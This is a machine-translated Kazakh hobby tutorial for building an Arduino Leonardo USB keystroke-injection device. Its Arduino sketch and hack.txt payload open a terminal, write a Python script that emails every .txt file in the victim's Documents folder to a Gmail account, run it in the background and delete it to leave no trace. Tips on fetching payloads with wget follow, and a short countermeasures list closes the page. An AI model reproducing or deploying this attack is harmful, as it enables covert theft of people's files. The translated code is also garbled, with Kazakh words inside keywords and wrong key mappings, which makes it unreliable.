Мазмұны:
- 1 -қадам: материалдар
- 2 -қадам: құрылғыны құру
- 3 -қадам: ол қалай жұмыс істейді, толығырақ
- 4 -қадам: қарсы шаралар
Бейне: Arduino пернетақтасының демонстрациясы (HID) және алдын алу: 4 қадам (суреттермен)
2024 Автор: John Day | [email protected]. Соңғы өзгертілген: 2024-01-30 10:26
Бұл жобада біз HID (humain интерфейс құрылғысы) көмегімен ықтимал USB шабуылын имитациялау үшін arduino leonardo қолданамыз.
Мен бұл оқулықты хакерлерге көмектесу үшін емес, нағыз қауіптер мен өзіңді осы қауіптен қалай қорғау керектігін көрсету үшін жасадым. Бұл құрылғы - бұл хакерлерге арналған кез келген платформада қолдануға болатын құрылғы емес, бұл тұжырымдаманың егжей -тегжейлі дәлелі.
Біз келесілерді үйренеміз:
- пернетақтаны эмуляциялау үшін arduino leonardo қалай қолдануға болады
- SD карталарынан мәліметтерді қалай оқу керек
- файлдарды қарап шығатын және оларға электрондық пошта жіберетін питон сценарийін қалай құру керек
- USB хакерлік құрылғыларынан өзіңізді қалай қорғауға болады
1 -қадам: материалдар
Бөлшектер:
1. Ардуино Леонардо
2. micro USB картасын оқу құрылғысы
3. бірнеше ГБ SD картасы
4. осы сияқты түймелер (VCC, Жер және сигнал)
5. әйел-еркек және әйел-әйел секіргіш кабельдері
6. micro USB - USB кабелі
2 -қадам: құрылғыны құру
Құрылыс нұсқаулығын бастамас бұрын жұмыс принципін қарастырайық:
Ардуино Леонардо адам интерфейсі құрылғысы (HID) сияқты әрекет ете алады, сондықтан тышқан мен пернетақтаны еліктей алады. Біз бұл мүмкіндікті терминалды ашу үшін қолданамыз (UBUNTU linux -те) және пайдаланушының үй қалтасындағы /Құжаттар қалтасына кіретін шағын сценарийді жазамыз.txt файлдарын сол жерге көшіреміз және оларды біреуге жібереміз. Егер сіз толығырақ білгіңіз келсе, келесі қадамды тексеріңіз.
Бұл демонстрациялық құрылғылар болғандықтан, біз ештеңені дәнекерлемейміз.
Құрылыс нұсқаулары
Жұмысты бастамас бұрын, бекітілген файлдарды тексеріңіз, мен фризинг схемасын және барлық қажетті файлдарды тіркедім
1. Компоненттерді жинаңыз:
* micro USB кабелін arduino -ға қосыңыз
* пернелік қосқышты arduino -ға қосыңыз (жерге, вк және шығыс модулі D8 -ге)
* картаны оқу құралын arduino -ға қосыңыз (ICSP тақырыбын қолдана отырып). Ардуино Леонардода ICSP тақырыбы цифрлық түйреуіштерге жалғанбаған, сондықтан картаны оқу құралын ICSP тақырыбына қосу қажет. ICSP сызбаларын мына жерден табуға болады: https://learn.sparkfun.com/tutorials/installing-an…. SS түйреуішін цифрлық істікке 10 қосыңыз
2. arduino кодын алыңыз, сіз менің arduino репозиторийін github -да клондай аласыз: https://github.com/danionescu0/arduino және жобалар/keyboard_exploit -ке өтіңіз немесе төменнен алыңыз:
#«Keyboard.h» қосыңыз
#include «SPI.h» #include «SD.h» String filenameOnCard = «hack.txt»; Strip sleepCommandStartingPoint = «Ұйқы::»; String commandStartingPoint = «Command::»; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println («Карта істен шықты немесе жоқ!»); қайтару; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println («Жүктелген!»); кешіктіру (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println («Көрсетілген файл атауы SD картасында жоқ, filenameOnCard тексеріңіз!»); } Жолдық жол; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (жол); sendToKeyboard (жол); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); қайтару; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print («Мәтін:»); Serial.println (жол); Keyboard.println (сызық); Enter () басыңыз; қайтару; } Serial.println («Пәрмен:»); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += «,»; while (workingLine! = «») {workingLine = workingLine.substring (charPosition); Serial.print («WorkingLine:»); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf («,»); Жол командасы = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = «») {Serial.print («Пәрмен табылды:»); Serial.println (пәрмен); Keyboard.press (getCommandCode (команда)); кешіктіру (delayBetweenCommands); }} Keyboard.releaseAll (); кешіктіру (delayBetweenCommands); } жарамсыз pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print («Sleeping for:»); Serial.println (sleepAmount); кешігу (ұйқының мөлшері); } char getCommandCode (Жол мәтіні) {char textCharacters [2]; text.toCharArray (мәтіндік таңбалар, 2); char коды = textCharacters [0]; код = (мәтін == «KEY_LEFT_CTRL»)? KEY_LEFT_CTRL: код; код = (мәтін == «KEY_LEFT_SHIFT»)? KEY_LEFT_SHIFT: код; код = (мәтін == «KEY_LEFT_ALT»)? KEY_LEFT_ALT: код; код = (мәтін == «KEY_UP_ARROW»)? KEY_UP_ARROW: код; код = (мәтін == «KEY_DOWN_ARROW»)? KEY_DOWN_ARROW: код; код = (мәтін == «KEY_LEFT_ARROW»)? KEY_LEFT_ARROW: код; код = (мәтін == «KEY_RIGHT_ARROW»)? KEY_RIGHT_ARROW: код; код = (мәтін == «KEY_RIGHT_GUI»)? KEY_RIGHT_GUI: код; код = (мәтін == «KEY_BACKSPACE»)? KEY_BACKSPACE: код; код = (мәтін == «KEY_TAB»)? KEY_TAB: код; код = (мәтін == «KEY_RETURN»)? KEY_RETURN: код; код = (мәтін == «KEY_ESC»)? KEY_ESC: код; код = (мәтін == «KEY_INSERT»)? KEY_INSERT: код; код = (мәтін == «KEY_DELETE»)? KEY_DELETE: код; код = (мәтін == «KEY_PAGE_UP»)? KEY_PAGE_UP: код; код = (мәтін == «KEY_PAGE_DOWN»)? KEY_PAGE_DOWN: код; код = (мәтін == «KEY_HOME»)? KEY_HOME: код; код = (мәтін == «KEY_END»)? KEY_END: код; код = (мәтін == «KEY_CAPS_LOCK»)? KEY_CAPS_LOCK: код; код = (мәтін == «KEY_F1»)? KEY_F1: код; код = (мәтін == «KEY_F2»)? KEY_F2: код; код = (мәтін == «KEY_F3»)? KEY_F3: код; код = (мәтін == «KEY_F4»)? KEY_F4: код; код = (мәтін == «KEY_F5»)? KEY_F5: код; код = (мәтін == «KEY_F6»)? KEY_F6: код; код = (мәтін == «KEY_F7»)? KEY_F7: код; код = (мәтін == «KEY_F8»)? KEY_F8: код; код = (мәтін == «KEY_F9»)? KEY_F9: код; код = (мәтін == «KEY_F10»)? KEY_F10: код; код = (мәтін == «KEY_F11»)? KEY_F1: код; код = (мәтін == «KEY_F12»)? KEY_F2: код;
қайтару коды;
}
3. Ардуиноға кодты жүктеңіз, 9600 беру жылдамдығын, сериялық портты және arduino leonardo таңдаңыз
4. SD картасын FAT16 немесе FAT32 көмегімен пішімдеңіз
5. Егер сіз github репо қызметін жоғарыдан клондаған болсаңыз, hack.txt файлын картаға көшіріңіз, егер олай болмаса, файл төменде көрсетілген:
Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT smtplib импорттау шары, os.path поштасынан импорттау кеңейтушісінен os. MIMEMMipEMartipart email -ден MIMEMultipart. MIMEBase электрондық поштадан импорттау. MIMEText электрондық поштадан MIMEText импорты
smtp_user = 'sender_gmail_address'
smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Құжаттар'
subject = body = 'Бұзылған компьютерден алынған файлдар'
header = 'Кімге: {0} nКімнен: {1} nТақырып: {2} n'.format (адрес, smtp_user, тақырып)
def sendMail (тақырыпқа, мәтінге, файлдарға = ):
msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = тақырып msg.attach (MIMEText (мәтін)) файлдардағы файл үшін: part = MIMEBase ('application', «octet-stream») part.set_payload (open (file, «rb»). Read ()) Encoders.encode_base64 (part) бөлігі. add_header ('Content-Disposition', 'тіркеме; filename = « % s»' % os.path.basename (файл)) msg.attach (бөлігі)
сервер = smtplib. SMTP ('smtp.gmail.com:587')
server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()
sendMail ([to_address], тақырып, негізгі мәтін, glob.glob («{0}/{1}/*. txt».формат (кеңейтуші («~»), сканерлеу_құжаттар_ орны)))
Ұйқы:: 50 пәрмені:: KEY_ESC Ұйқы:: 100: x Ұйқы:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Ұйқы:: 400 пәрмені:: KEY_LEFT_ALT, KEY_F4
6. Келесі жолдарды өңдеңіз:
smtp_user = 'sender_email_addr'
smtp_pass = 'sender_password' to_address = 'ресивер_адресі'
Және оны электрондық пошта мекенжайларымен ауыстырыңыз
7. Картаны алып, оны arduino картасын оқу құрылғысына салыңыз
3 -қадам: ол қалай жұмыс істейді, толығырақ
Шабуыл қалай жұмыс істейді:
1. Түйме басылған кезде, Леонардо SD картасын оқу құралының көмегімен SD картасын оқиды. Карточкада кілттер мен пернелер тіркесімі бар арнайы файл болады. Файл атауы - «hack.txt».
Файлда шикі мәтін болуы мүмкін және ол дәл солай пернетақтаға беріледі.
Сондай -ақ, ол «Ұйқы::» және «Команда::» сияқты арнайы командаларды қамтуы мүмкін.
Мынадай сызық:
Ұйқы:: 200 200 мс ұйқыны білдіреді
Мынадай сызық:
Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t - сол жақтағы ctrl, солға қарай басылған, t басылған және барлығы босатылған дегенді білдіреді
Сіз барлық арнайы кілттерді мына жерден тексере аласыз:
2. Леонардо жолдан -жолға оқиды, командаларды түсіндіреді және пернетақтадағы пернелерге еліктейді. «Hack.txt» файлында келесі әрекеттерді орындайтын пернелер тіркесімі бар (UBUNTU linux үшін):
а. терминалды ашады (CTRL + ALT + T)
б. vi көмегімен питон файлын ашады («vi hack.py» деп жазады)
c) Python сценарийін жазады, ол құжаттардың негізгі қалтасындағы барлық мәтіндік файлдарды жинайды және оларды белгіленген gmail мекенжайына жібереді.
d. файлды фонда іске қосады («nohup python hack.py &»)
д. файлды жояды (rm -rf hack.py)
f. терминалды жабады (ALT + F4)
Мұның бәрі бірнеше секунд ішінде өтеді және із қалдырмайды.
Жақсартулар мен ақауларды жою
* Сіз терминалды ашқаннан кейін мен python файлын жазатынымды байқадыңыз. Мұны істеудің жақсы әдісі - оны бір жерде орналастыру және «wget some_url» пәрмені арқылы жүктеу, содан кейін оны hack.py деп қайта атау.
* Сондай -ақ, біз мақсатты операциялық жүйе үшін дайын эксплуатацияны жүктей немесе іске қоса аламыз
* Wi -Fi модульге қосылуы мүмкін, ал хакерлерді WIFI арқылы жүктеуге болады
* сіз arduino micro -ды қолдана аласыз (ол әлдеқайда кіші) және оған эксплуатациялық кодты енгізе аласыз (оны кішірейту үшін)
Шектеулер
1. Модельдік құрылғыда (пернетақта мен тінтуір) ешқандай кері байланыс жоқ болғандықтан, біз команданы шығарғаннан кейін не болатынын білмейміз, бұл кешіктіруді қолдану керек дегенді білдіреді. Мысалы, мен терминалды ашуға пәрмен беремін, бірақ оның қашан ашылатынын білмеймін, сондықтан кейін енгізілген таңбалардың жоғалмауы үшін ерікті кідірісті көрсету керек.
2. Біз USB портына кіре алмау немесе бір нәрсені орнатуға рұқсат беру сияқты рұқсат мәселелеріне тап болуымыз мүмкін
3. Теру жылдамдығы Леонардода онша жақсы емес
4. Тек мақсатты операциялық жүйеде жұмыс істейді (біздің жағдайда UBUNTU linux)
Келесі қадамда біздің компьютерді бұзуға жол бермеу үшін осы шектеулерді пайдалану жолдарын табуға тырысамыз
4 -қадам: қарсы шаралар
1. USB порттарын өшіру
-терезелер үшін сіз бұл оқулықты тексере аласыз:
2. USB құрылғыларын ақ тізімге енгізіңіз:
- терезелер үшін:
2. Сіз жоқ кезде компьютерді құлыптаңыз
3. Түбір ретінде кірмеңіз (кез келген нәрсені орнату үшін пароль қажет)
4. Өзіңізді жаңартып отырыңыз (автоматты жаңартулар қосылады)
Ұсынылған:
Arduino пернетақтасының сериялық монитор сынағы: 6 қадам
Arduino пернетақтасының сериялық монитор сынағы: бұл Arduino сериялық монитор тестінің өте қарапайым оқулығы Егер сізге бұл нұсқаулық ұнаса, менің каналыма жазылыңыз https://www.youtube.com/ZenoModiff
Кідірту дабылының алдын алу: 5 қадам
Кідірту дабылын болдырмаңыз: Сіз оқу кезінде басыңды иіп, сергек болғың келді, бірақ алмайсың ба? Мен сізді оята алатын керемет машина жасаймын. Оның аты - кідірту дабылды болдырмайды. Бұл оңай жұмыс, сіз дабылды үстелдің алдына қоясыз, егер сіздің басыңыз
Соқтығысудың алдын алу- Pi: 6 қадаммен жұмыс істейді
Соқтығысудың алдын алу-Pi көмегімен: Бұл нұсқаулық сізге соқтығысудың алдын алу жүйесінің құрылысына қадамдық нұсқаулық береді. Бастау үшін келесі материалдардың тізімін алу қажет: Raspberry PI 3 (қуат және Ethernet аккордымен), 1 GPIO кеңейту тақтасы және таспа кабелі
Сирек жер магниттерін алу үшін жұмыс үстелінің қатты дискісін бөліп алу: 8 қадам
Сирек жер магниттерін алу үшін жұмыс үстеліндегі қатты дискіні бөліп алу: Бұл нұсқаулықта мен сізге компьютердің қатты дискісін ажырату және одан сирек кездесетін жер магниттерін алу қадамдарын көрсетемін
Құлаққаптың штепсельдік бұрылысы & Үзілістің алдын алу: 5 қадам
Құлаққап қосқышы Kink & Break Preventer: Мен көлікті көп жүргіземін, mp3 форматындағы көптеген кітаптарды тыңдаймын. Мен ай сайын жаңа құлаққап сатып алудан шаршадым, себебі штепсельдік ұшындағы сым бүгіліп, ішіндегі сымдар үзіліп кетеді. Мен бұл гаджетті қозғалыс ауқымын шектеу үшін ойлап таптым